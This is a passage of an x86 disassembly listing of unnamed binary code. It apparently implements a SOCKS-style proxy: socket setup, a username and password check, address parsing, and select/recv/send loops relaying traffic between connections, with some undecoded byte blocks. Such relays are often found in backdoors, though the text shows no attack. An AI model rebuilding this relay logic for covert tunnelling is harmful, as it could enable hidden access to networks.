jnz loc_42A782
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A63A: ; CODE XREF: sub_42A5F0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_40174E
test al, al
jz loc_42A782
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42A6AB
; ---------------------------------------------------------------------------
loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj
mov ebx, dword_50FC30
push 11h
push 2
push 2
call ebx
push 11h
push 2
push 2
mov edi, eax
call ebx
cmp edi, 0FFFFFFFFh
jz loc_42A782
cmp eax, 0FFFFFFFFh
jnz loc_42A782
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_50FC5C
push edx
push esi
push edi
call ebp
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42A782
loc_42A709: ; CODE XREF: sub_42A5F0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp
test esi, esi
jbe short loc_42A766
cmp esi, 0FFFFFFFFh
jnz short loc_42A709
loc_42A766: ; CODE XREF: sub_42A5F0+16Fj
mov esi, dword_50FC88
push edi
call esi
push 0FFFFFFFFh
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: sub_42A5F0+35j
; sub_42A5F0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42A5F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42AACA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42ABE6
mov edi, dword_50FC80
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi
test eax, eax
jle loc_42AC73
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_436F60
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0F6E8026Ah, 90716892h, 89FFF883h
dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 0E8905600h
dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017E4
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42A9DB: ; CODE XREF: sub_42A810+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42A9FF
test al, al
jz short loc_42A9FB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42A9FF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42A9DB
loc_42A9FB: ; CODE XREF: sub_42A810+1D5j
xor eax, eax
jmp short loc_42AA04
; ---------------------------------------------------------------------------
loc_42A9FF: ; CODE XREF: sub_42A810+1D1j
; sub_42A810+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA04: ; CODE XREF: sub_42A810+1EDj
test eax, eax
jz short loc_42AA61
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017E4
lea edi, [esp+83Ch+var_100]
loc_42AA1E: ; CODE XREF: sub_42A810+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42AA42
test cl, cl
jz short loc_42AA3E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42AA42
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42AA1E
loc_42AA3E: ; CODE XREF: sub_42A810+218j
xor eax, eax
jmp short loc_42AA47
; ---------------------------------------------------------------------------
loc_42AA42: ; CODE XREF: sub_42A810+214j
; sub_42A810+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA47: ; CODE XREF: sub_42A810+230j
test eax, eax
jz short loc_42AA61
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AA61: ; CODE XREF: sub_42A810+1F6j
; sub_42A810+239j
mov edi, dword_50FC8C
push 0
push 2
push offset dword_445330
push esi
call edi
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
nop
call near ptr 71AB2DC0h
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42AACA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42AB31
sub eax, 2
jz short loc_42AAD9
dec eax
loc_42AAC8: ; CODE XREF: sub_42A810+31Fj
jnz short loc_42AB40
loc_42AACA: ; CODE XREF: sub_42A810+32j
; sub_42A810+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AAD9: ; CODE XREF: sub_42A810+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_40174E
test al, al
jmp short loc_42AAC8
; ---------------------------------------------------------------------------
loc_42AB31: ; CODE XREF: sub_42A810+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx
loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx
cmp [esp+83Ch+var_707], 1
jnz loc_42AACA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
call near ptr 71AB406Ah
nop
test eax, eax
jnz loc_42AACA
push eax
push 4
push offset dword_445328
push esi
call edi
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020C2
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42ABE6: ; CODE XREF: sub_42A810+47j
cmp ax, 2
jnz loc_42AC73
mov ebx, dword_50FC80
loc_42ABF6: ; CODE XREF: sub_42A810+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
nop
call near ptr 71AB2D0Fh
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C1C
test edi, edi
jz short loc_42AC73
cmp edi, 0FFFFFFFFh
jz short loc_42AC73
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_436F60
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42ABF6
loc_42AC73: ; CODE XREF: sub_42A810+67j
; sub_42A810+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42A810 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ADB0 proc near ; CODE XREF: sub_401F19j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42ADC4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42ADD6
dec eax
jz short loc_42ADF8
mov word ptr [esi+6], 1
loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj
mov eax, 1
mov ecx, 6
loc_42ADE0: ; CODE XREF: sub_42ADB0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42AE04
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42ADE0
; ---------------------------------------------------------------------------
loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
nop
call near ptr 71AB2B66h
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42AE49
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE49: ; CODE XREF: sub_42ADB0+86j
cmp word ptr [esi+6], 1
jnz short loc_42AE71
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42AE71
mov edx, [esi+32h]
push edx
call near ptr 71AB9639h
nop
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej
; sub_42ADB0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42ADB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AEC0 proc near ; CODE XREF: sub_401DBBj
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42AEC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42AF5A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42AF41
mov ebx, dword_50FC84
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx
mov esi, eax
test esi, esi
jnz short loc_42AF26
loc_42AF12: ; CODE XREF: sub_42AEC0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx
mov esi, eax
test esi, esi
jz short loc_42AF12
loc_42AF26: ; CODE XREF: sub_42AEC0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42AF7A
loc_42AF41: ; CODE XREF: sub_42AEC0+39j
; sub_42AEC0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42AF54: ; DATA XREF: ___:00441F74o
mov eax, offset loc_42AF41
retn
; ---------------------------------------------------------------------------
loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj
cmp ax, 2
jnz short loc_42AF41
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42AF41
loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AEC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AFD0: ; CODE XREF: ___:00401F78j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43BB90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42B019: ; DATA XREF: ___:loc_42B031o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42B031: ; DATA XREF: ___:00441FD4o
mov eax, offset loc_42B019
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B060 proc near ; CODE XREF: sub_401C17j
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42B060
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
call near ptr 71AB664Dh
nop
test eax, eax
jz short loc_42B0D7
loc_42B097: ; CODE XREF: ___:0042B166j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42B0D7: ; CODE XREF: sub_42B060+35j
push 42h
call sub_4367FA
sub_42B060 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42B0FC
push 1
mov ecx, eax
call sub_4014E7
jmp short loc_42B0FE
; ---------------------------------------------------------------------------
loc_42B0FC: ; CODE XREF: ___:0042B0EFj
xor eax, eax
loc_42B0FE: ; CODE XREF: ___:0042B0FAj
mov dword_50E3C8, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_50E3C8
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40200E
lea eax, [esp+1C0h]
push eax
mov eax, dword_50E3C8
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40200E
mov eax, dword_50E3C8
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F19
test al, al
jz loc_42B097
loc_42B16C: ; CODE XREF: ___:0042B17Dj
mov eax, dword_50E3C8
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DBB
jmp short loc_42B16C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B1D0 proc near ; CODE XREF: sub_4014E7j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42B1F2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43E190
call sub_4014AB
loc_42B1F2: ; CODE XREF: sub_42B1D0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43E18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42B1D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B240 proc near ; CODE XREF: sub_4014ABj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B240
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_401424
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B240 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B2D0 proc near ; CODE XREF: sub_4020D1j
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42B2D0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42B2E0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43BC08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401F82
push offset off_443D70
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43E1A0
call sub_4015D7
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42B368
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B368: ; CODE XREF: sub_42B350+Dj
mov eax, esi
pop esi
retn 4
sub_42B350 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B380 proc near ; CODE XREF: sub_4011BDj
jmp sub_40179E
sub_42B380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3A0 proc near ; CODE XREF: sub_40134Dj
var_10 = byte ptr -10h
mov eax, 1000h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42B42C
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+28h+var_10]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42B3CC
loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej
; sub_42B3A0+55j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42B448
push eax
nop
call near ptr 71AB9639h
loc_42B448: ; CODE XREF: sub_42B3A0+9Fj
add esp, 1000h
retn
sub_42B3A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B480 proc near ; CODE XREF: sub_401663j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B480
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_443D70
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E1B0
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B480 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42B508
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B508: ; CODE XREF: sub_42B4F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B4F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B520 proc near ; CODE XREF: sub_401217j
jmp sub_40179E
sub_42B520 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B540 proc near ; CODE XREF: sub_40152Dj
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42B70A
mov ebx, 1
push 6
push ebx
push 2
nop
call near ptr 71AB3B91h
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42B598
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B598: ; CODE XREF: sub_42B540+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42B5F2
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B5F2: ; CODE XREF: sub_42B540+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
nop
call near ptr 71AB406Ah
cmp eax, edi
jnz short loc_42B622
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42B622: ; CODE XREF: sub_42B540+C8j
mov edx, [esi+0A1h]
mov edi, dword_50FC50
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42B70A
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B676: ; CODE XREF: sub_42B540+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6A0
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42B702
loc_42B6A0: ; CODE XREF: sub_42B540+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6DB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42B702
loc_42B6DB: ; CODE XREF: sub_42B540+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B676
jmp short loc_42B70A
; ---------------------------------------------------------------------------
loc_42B702: ; CODE XREF: sub_42B540+15Ej
; sub_42B540+199j
push 0Ah
call near ptr 2820000h
nop
loc_42B70A: ; CODE XREF: sub_42B540+27j
; sub_42B540+124j ...
mov eax, [esi+0A1h]
mov edi, dword_50FC88
cmp eax, 0FFFFFFFFh
jz short loc_42B71E
push eax
call edi
loc_42B71E: ; CODE XREF: sub_42B540+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42B72C
push esi
call edi
